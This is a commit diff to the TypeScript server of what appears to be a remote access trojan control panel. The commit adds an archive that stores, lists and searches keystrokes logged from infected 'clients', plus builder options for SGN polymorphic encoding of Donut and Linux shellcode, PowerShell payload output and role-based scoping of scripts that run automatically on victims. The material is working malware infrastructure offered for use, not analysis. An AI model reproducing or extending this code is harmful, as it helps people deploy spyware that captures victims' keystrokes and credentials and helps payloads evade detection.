fix some tele links, add offline keylogger, fix rbac issues with scripting.

This commit is contained in:
KingKDot
2026-06-10 19:54:18 -05:00
parent d6ad2cadea
commit ab58106b85
28 changed files with 1528 additions and 91 deletions
@@ -502,6 +502,7 @@ export async function handleAuthRoutes(
mustChangePassword: dbUser ? Boolean(dbUser.must_change_password) : false,
canBuild: dbUser ? Boolean(dbUser.can_build) : false,
telegramChatId: dbUser?.telegram_chat_id || "",
inputArchiveEnabled: dbUser ? Boolean((dbUser as any).keylog_archive_enabled) : false,
featurePermissions,
permissions,
}),
@@ -1,8 +1,9 @@
import { authenticateRequest } from "../../auth";
import {
canUserManageAutoScript,
createAutoScript,
deleteAutoScript,
listAutoScripts,
listAutoScriptsForUser,
type AutoScriptTrigger,
updateAutoScript,
} from "../../db";
@@ -23,13 +24,13 @@ export async function handleAutoScriptsRoutes(
});
}
try {
requirePermission(user, "clients:control");
requirePermission(user, "scripts:manage");
} catch (error) {
if (error instanceof Response) return error;
return new Response("Forbidden", { status: 403 });
}
return Response.json({ items: listAutoScripts() });
return Response.json({ items: listAutoScriptsForUser(user.userId, user.role) });
}
if (req.method === "POST" && url.pathname === "/api/auto-scripts") {
@@ -84,6 +85,7 @@ export async function handleAutoScriptsRoutes(
scriptType,
enabled,
osFilter,
createdByUserId: user.userId,
});
return Response.json({ ok: true, item });
@@ -129,7 +131,12 @@ export async function handleAutoScriptsRoutes(
? osFilterRaw.filter((v: unknown) => typeof v === "string" && ALLOWED_OS_FILTERS.has(v))
: undefined;
const updated = updateAutoScript(autoScriptMatch[1], {
const scriptId = autoScriptMatch[1];
if (!canUserManageAutoScript(user.userId, user.role, scriptId)) {
return Response.json({ error: "Not found" }, { status: 404 });
}
const updated = updateAutoScript(scriptId, {
name: body?.name ? String(body.name).trim() : undefined,
trigger: triggerRaw as AutoScriptTrigger | undefined,
script: body?.script ? String(body.script) : undefined,
@@ -160,7 +167,12 @@ export async function handleAutoScriptsRoutes(
return new Response("Forbidden", { status: 403 });
}
deleteAutoScript(autoScriptMatch[1]);
const scriptId = autoScriptMatch[1];
if (!canUserManageAutoScript(user.userId, user.role, scriptId)) {
return Response.json({ error: "Not found" }, { status: 404 });
}
deleteAutoScript(scriptId);
return Response.json({ ok: true });
}
@@ -117,6 +117,7 @@ export async function handleBuildRoutes(
shellcodeConsole,
useSgn,
sgnIterations,
outputSgnTxt,
fetchPublicIP,
uploadToFileShare,
} = body;
@@ -290,13 +291,32 @@ export async function handleBuildRoutes(
: undefined;
const safeRequireAdmin = !!requireAdmin;
const safeCriticalProcess = !!criticalProcess;
const VALID_OUTPUT_EXTENSIONS = new Set([".exe", ".scr", ".bat", ".cmd", ".pif", ".com"]);
const VALID_OUTPUT_EXTENSIONS = new Set([".exe", ".scr", ".bat", ".cmd", ".ps1", ".pif", ".com"]);
const safeOutputExtension =
typeof outputExtension === "string" && VALID_OUTPUT_EXTENSIONS.has(outputExtension.toLowerCase())
? outputExtension.toLowerCase() : ".exe";
const safeSleepSeconds =
typeof sleepSeconds === "number" && Number.isInteger(sleepSeconds) && sleepSeconds >= 0 && sleepSeconds <= 3600
? sleepSeconds : 0;
const safeOutputSgnTxt = !!outputSgnTxt;
if (safeOutputSgnTxt && !useSgn) {
return Response.json(
{ error: "SGN TXT output requires SGN Polymorphic Encoding" },
{ status: 400 },
);
}
if (safeOutputSgnTxt) {
const hasSgnCapableTarget = allowedPlatforms.some((p) =>
(!!useDonut && p.startsWith("windows-")) ||
(!!useLinuxShellcode && p === "linux-amd64")
);
if (!hasSgnCapableTarget) {
return Response.json(
{ error: "SGN TXT output requires Donut on Windows or Linux Shellcode on linux-amd64" },
{ status: 400 },
);
}
}
const MAX_BOUND_FILES = 5;
const MAX_BOUND_FILE_BYTES = 50 * 1024 * 1024;
@@ -401,6 +421,7 @@ export async function handleBuildRoutes(
shellcodeConsole: !!shellcodeConsole,
useSgn: !!useSgn,
sgnIterations: Math.max(1, Math.min(50, Math.floor(Number(sgnIterations) || 1))),
outputSgnTxt: safeOutputSgnTxt,
fetchPublicIP: !!fetchPublicIP,
uploadToFileShare: safeUploadToFileShare,
}).finally(() => {
@@ -689,7 +710,9 @@ export async function handleBuildRoutes(
return new Response(file, {
headers: {
"Content-Type": "application/octet-stream",
"Content-Type": fileName.toLowerCase().endsWith(".txt")
? "text/plain; charset=utf-8"
: "application/octet-stream",
"Content-Disposition": `attachment; filename="${fileName}"`,
},
});
@@ -0,0 +1,68 @@
import { authenticateRequest } from "../../auth";
import { canUserAccessClient } from "../../users";
import { requireFeatureAccess } from "../../rbac";
import {
getArchivedKeylogContent,
listArchivedKeylogs,
searchArchivedKeylogs,
} from "../keylog-archive";
type KeylogArchiveRouteDeps = {
CORS_HEADERS: Record<string, string>;
};
function parseClientArchivePath(pathname: string): { clientId: string; action: string } | null {
const match = pathname.match(/^\/api\/clients\/([^/]+)\/keylogger\/archive(?:\/([^/]+))?$/);
if (!match) return null;
return {
clientId: decodeURIComponent(match[1]),
action: match[2] || "list",
};
}
async function requireArchiveAccess(req: Request, clientId: string) {
const user = await authenticateRequest(req);
if (!user) return { response: new Response("Unauthorized", { status: 401 }) };
if (!canUserAccessClient(user.userId, user.role, clientId)) {
return { response: new Response("Forbidden", { status: 403 }) };
}
try {
requireFeatureAccess(user, "keylogger");
} catch (error) {
if (error instanceof Response) return { response: error };
return { response: new Response("Forbidden", { status: 403 }) };
}
return { user };
}
export async function handleKeylogArchiveRoutes(
req: Request,
url: URL,
deps: KeylogArchiveRouteDeps,
): Promise<Response | null> {
const parsed = parseClientArchivePath(url.pathname);
if (!parsed) return null;
const access = await requireArchiveAccess(req, parsed.clientId);
if (access.response) return access.response;
if (req.method === "GET" && parsed.action === "list") {
return Response.json({ files: listArchivedKeylogs(parsed.clientId) }, { headers: deps.CORS_HEADERS });
}
if (req.method === "GET" && parsed.action === "content") {
const filename = (url.searchParams.get("filename") || "").trim();
if (!filename) return Response.json({ error: "filename is required" }, { status: 400, headers: deps.CORS_HEADERS });
const content = getArchivedKeylogContent(parsed.clientId, filename);
if (!content) return Response.json({ error: "Archived file not found" }, { status: 404, headers: deps.CORS_HEADERS });
return Response.json(content, { headers: deps.CORS_HEADERS });
}
if (req.method === "GET" && parsed.action === "search") {
const query = (url.searchParams.get("q") || "").trim();
if (query.length < 3) return Response.json({ results: [] }, { headers: deps.CORS_HEADERS });
return Response.json({ results: searchArchivedKeylogs(parsed.clientId, query) }, { headers: deps.CORS_HEADERS });
}
return new Response("Method not allowed", { status: 405, headers: deps.CORS_HEADERS });
}
@@ -1,13 +1,13 @@
import { authenticateRequest } from "../../auth";
import { AuditAction, getAuditLogs, logAudit } from "../../auditLog";
import { logger } from "../../logger";
import { getConfig, updateSecurityConfig, updateTlsConfig, updateAppearanceConfig, updateChatConfig, getExportableConfig, importFullConfig, updateRegistrationConfig, updateBuildRateLimitConfig, updateThumbnailsConfig } from "../../config";
import { getConfig, updateSecurityConfig, updateTlsConfig, updateAppearanceConfig, updateChatConfig, getExportableConfig, importFullConfig, updateRegistrationConfig, updateBuildRateLimitConfig, updateThumbnailsConfig, updateInputArchiveConfig } from "../../config";
import { getClientMetricsSummary, getClientMetricsSummaryForUser, getDatabaseFileSizeBytes, listClients } from "../../db";
import { getThumbnailStats } from "../../thumbnails";
import { getClientCount, getOnlineClients } from "../../clientManager";
import { metrics } from "../../metrics";
import { requirePermission } from "../../rbac";
import { getUserTelegramChatId, setUserTelegramChatId, getUserClientAccessScope, listUserClientRuleIdsByAccess, canUserAccessClient, getUserById } from "../../users";
import { getUserTelegramChatId, setUserTelegramChatId, getUserClientAccessScope, listUserClientRuleIdsByAccess, canUserAccessClient, getUserById, getUserInputArchiveEnabled, setUserInputArchiveEnabled } from "../../users";
import { buildClientGraph } from "../client-graph";
import { runCertbotSetup } from "../certbot-setup";
import {
@@ -910,6 +910,74 @@ export async function handleMiscRoutes(
}
}
if (url.pathname === "/api/settings/input-archive") {
const user = await authenticateRequest(req);
if (!user) {
return new Response("Unauthorized", { status: 401 });
}
if (req.method === "GET") {
return Response.json(
{
myEnabled: getUserInputArchiveEnabled(user.userId),
inputArchive: getConfig().inputArchive,
},
{ headers: deps.CORS_HEADERS },
);
}
if (req.method === "PUT") {
let body: any = {};
try {
body = await req.json();
} catch {
return Response.json({ error: "Invalid JSON" }, { status: 400, headers: deps.CORS_HEADERS });
}
if (body?.myEnabled !== undefined) {
const result = setUserInputArchiveEnabled(user.userId, Boolean(body.myEnabled));
if (!result.success) {
return Response.json({ error: result.error || "Failed to save input archive preference" }, { status: 500, headers: deps.CORS_HEADERS });
}
}
let updated = getConfig().inputArchive;
if (body?.inputArchive !== undefined) {
try {
requirePermission(user, "system:input-archive");
} catch (error) {
if (error instanceof Response) return error;
return new Response("Forbidden", { status: 403 });
}
updated = await updateInputArchiveConfig({
enabled: body.inputArchive?.enabled !== undefined ? Boolean(body.inputArchive.enabled) : undefined,
retentionDays: body.inputArchive?.retentionDays !== undefined ? Number(body.inputArchive.retentionDays) : undefined,
maxFileBytes: body.inputArchive?.maxFileBytes !== undefined ? Number(body.inputArchive.maxFileBytes) : undefined,
pollIntervalSeconds: body.inputArchive?.pollIntervalSeconds !== undefined ? Number(body.inputArchive.pollIntervalSeconds) : undefined,
});
logAudit({
timestamp: Date.now(),
username: user.username,
ip: deps.requestIP?.(req)?.address || "unknown",
action: AuditAction.COMMAND,
details: `Updated input archive settings (enabled=${updated.enabled}, retention=${updated.retentionDays}d, poll=${updated.pollIntervalSeconds}s)`,
success: true,
});
}
return Response.json(
{
ok: true,
myEnabled: getUserInputArchiveEnabled(user.userId),
inputArchive: updated,
},
{ headers: deps.CORS_HEADERS },
);
}
}
if (url.pathname === "/api/settings/appearance") {
const user = await authenticateRequest(req);
if (!user) {
@@ -210,6 +210,7 @@ type WsLifecycleDeps = {
dispatchAutoScriptsForConnection: (info: ClientInfo, ws: ServerWebSocket<SocketData>) => void;
dispatchAutoDeploysForConnection: (info: ClientInfo, ws: ServerWebSocket<SocketData>) => void;
dispatchAutoLoadPlugins: (info: ClientInfo) => void;
dispatchKeylogArchiveSync?: (clientId: string, ws: ServerWebSocket<SocketData>) => boolean;
takePendingNotificationScreenshot: (clientId: string) => any;
storeNotificationScreenshot: (
pending: any,
@@ -226,6 +227,7 @@ type WsLifecycleDeps = {
handleProxyConnectResult: (clientId: string, connectionId: string, ok: boolean) => void;
handleProcessMessage: (clientId: string, payload: any) => void;
handleKeyloggerMessage: (clientId: string, payload: any) => void;
handleKeylogArchiveMessage?: (clientId: string, payload: any, ws?: ServerWebSocket<SocketData>) => void;
notifyRdInputLatency: (commandId: string) => void;
handleNotificationScreenshotFailure: (commandId: string | undefined, ok: boolean | undefined, message: string | undefined) => void;
handlePluginEvent: (clientId: string, payload: any) => void;
@@ -675,6 +677,7 @@ export async function handleWebSocketMessage(
deps.dispatchAutoScriptsForConnection(infoObj, ws);
deps.dispatchAutoDeploysForConnection(infoObj, ws);
deps.dispatchAutoLoadPlugins(infoObj);
deps.dispatchKeylogArchiveSync?.(infoObj.id, ws);
deps.notifyDashboard();
if (!reconnectedWithinGrace) {
deps.notifyDashboardClientEvent("client_online", {
@@ -803,6 +806,7 @@ export async function handleWebSocketMessage(
case "keylog_clear_result":
case "keylog_delete_result":
case "keylog_permission_result":
deps.handleKeylogArchiveMessage?.(client.id, payload, ws);
deps.handleKeyloggerMessage(client.id, payload);
break;
case "script_result": {